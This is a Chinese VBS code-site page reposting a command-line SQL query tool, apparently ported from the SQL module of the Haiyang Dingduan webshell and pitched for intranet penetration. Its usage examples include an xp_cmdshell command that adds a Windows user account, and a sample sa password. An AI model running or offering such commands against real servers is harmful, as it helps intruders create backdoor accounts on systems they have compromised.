花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着。
if (lcase(right(wscript.fullname,11))="wscript.exe") then
echo "Execute it under the cmd.exe Plz! Thx."
echo "code by lcx"
wscript.quit
end If
if wscript.arguments.count<1 then
echo "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"
echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>"
echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)
echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1
echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1
echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1
end If
Sub chkErr(Err)
If Err Then
echo "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlf
Err.Clear
wscript.quit
End If
End Sub
Sub echo(str)
wscript.echo str
End Sub
Function fixNull(str)
If IsNull(str) Then
str = " "
End If
fixNull = str
End Function
Sub showErr(str)
Dim i, arrayStr
arrayStr = Split(str, "$$")
echo "出错信息:"&vbcrlf
For i = 0 To UBound(arrayStr)
echo (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
echo vbcrlf
wscript.quit
End Sub
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 下面是程序模块选择部分
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
PageMsDataBase()
Sub pageMsDataBase()
Dim theAct, sqlStr
theAct = Wscript.Arguments(0)
sqlStr = Wscript.Arguments(1)
Select Case theAct
Case "showTables"
showTables()
Case "query"
showQuery()
End Select
End Sub
Sub showTables()
Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr
sqlStr = Wscript.Arguments(1)
If LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, 5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set conn = CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr = getTableList(conn, sqlStr, rsTable)
echo tablesStr & "================================================="
Do Until rsTable.Eof
Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))
echo rsTable("Table_Name") &vbcrlf
Do Until rsColumn.Eof
echo "字段名:" & rsColumn("Column_Name")&vbclrf
echo "类型:" & getDataType(rsColumn("Data_Type")) & vbclrf
echo "大小:" & rsColumn("Character_Maximum_Length") & vbclrf
echo "精度:" & rsColumn("Numeric_Precision") & vbclrf
echo "允许为空:" & rsColumn("Is_Nullable") & vbclrf
echo "默认值:" & rsColumn("Column_Default") & vbclrf&vbclrf
rsColumn.MoveNext
Loop
rsTable.MoveNext
echo vbcrlf
Loop
echo "==============================================================="
conn.Close
Set conn = Nothing
Set rsTable = Nothing
Set rsColumn = Nothing
End Sub
Sub showQuery()
Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable
sqlStr = Wscript.Arguments(1)
theTable = Wscript.Arguments(2)
sql=Wscript.Arguments(3)
page=Wscript.Arguments(4)
If Not IsNumeric(page) or page = "" Then
page = 1
End If
If LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, 5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set rs = CreateObject("Adodb.RecordSet")
Set conn = CreateObject("Adodb.Connection")
conn.Open connStr
chkErr(Err)
tablesStr = getTableList(conn, sqlStr, rsTable)
echo "数据库表结构查看:"
echo tablesStr & "========================================================"
echo ">SQL命令执行及查看<:"&vbcrlf
If sql <> "" And Left(LCase(sql), 7) = "select " Then
rs.Open sql, conn, 1, 1
chkErr(Err)
rs.PageSize = 20
If Not rs.Eof Then
rs.AbsolutePage = page
End If
If rs.Fields.Count>0 Then
echo "SQL操作 - 执行结果"&vbcrlf
echo "===================="&theTable&"列名如下========================================"
For j = 0 To rs.Fields.Count-1
echo rs.Fields(j).Name & vbcrlf
Next
For i = 1 To 20
If rs.Eof Then
Exit For
End If
For j = 0 To rs.Fields.Count-1
echo fixNull(rs(j))& vbcrlf
Next
rs.MoveNext
Next
End If
echo "================================================================="
echo " 共有"&rs.Fields.Count&"列" & vbcrlf
For i = 1 To rs.PageCount
page=i
Next
echo " 共有" & page & "页"
rs.Close
Else
If sql <> "" Then
conn.Execute(sql)
chkErr(Err)
echo "执行完毕!"&vbcrlf
End If
End If
conn.Close
Set rs = Nothing
Set conn = Nothing
Set rsTable = Nothing
End Sub
Function getDataType(typeId)
Select Case typeId
Case 130
getDataType = "文本"
Case 2
getDataType = "整型"
Case 3
getDataType = "长整型"
Case 7
getDataType = "日期/时间"
Case 5
getDataType = "双精度型"
Case 11
getDataType = "是/否"
Case 128
getDataType = "OLE 对象"
Case Else
getDataType = typeId
End Select
End Function
Function getTableList(conn, sqlStr, rsTable)
Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table"))
echo "存在以下表名:"
Do Until rsTable.Eof
getTableList = getTableList & "["& rsTable("Table_Name") & "]"&vbcrlf
rsTable.MoveNext
Loop
rsTable.MoveFirst
End Function
vbs版sql查询分析器lcx作品
2020-07-24 12:04VBS代码网 VBS
vbs版的sql查询分析器,该有的功能都有了
延伸 · 阅读
- 2021-12-09禁用VBS提高Windows 11性能,这个技巧必须要掌握
- 2021-11-13使用VBS创建快捷方式的代码
- 2021-11-13如何使用vbs 监控电脑活动记录
- 2021-11-13如何用VBS脚本收集远程计算机或本地计算机安装
- 2021-10-08Windows 11 VBS 安全功能导致性能下降,教你如何检
- 2021-10-08怎样在Windows 11中禁用VBS以提高性能?
精彩推荐
- VBS
可以定时自动关机的vbs脚本
这篇文章主要分享一段可以定时自动关机的vbs脚本代码,有需要的童鞋可以学习下...
- VBS
VBS教程:正则表达式简介 -建立正则表达式
建立正则表达式 构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。 可以...
- VBS
VBS教程:属性-AvailableSpace 属性
VBS教程:属性-AvailableSpace 属性 ...
- VBS
提供个可以显示农历的VBS代码
本文主要分享一段可以显示农历的VBS代码,具有一定的参考价值,有需要的朋友可以了解一下...
- VBS
脚本 MsAgent组件 微软精灵 揪出系统自带的宠物
你知道系统里有一个隐藏的宠物吗? 将以下代码保存为后缀为.vbs的文件,再双击运行,看看出来什么?一个可爱的魔法老人!还会说话、移动、吹喇叭…...
- VBS
vbs base64 解密脚本代码
解密base64的vbs小函数,支持英文与数字不支持中文。...
- VBS
VBS教程:属性-VolumeName 属性
VBS教程:属性-VolumeName 属性...
- VBS
VBS教程:对象-Folders 集合
VBS教程:对象-Folders 集合...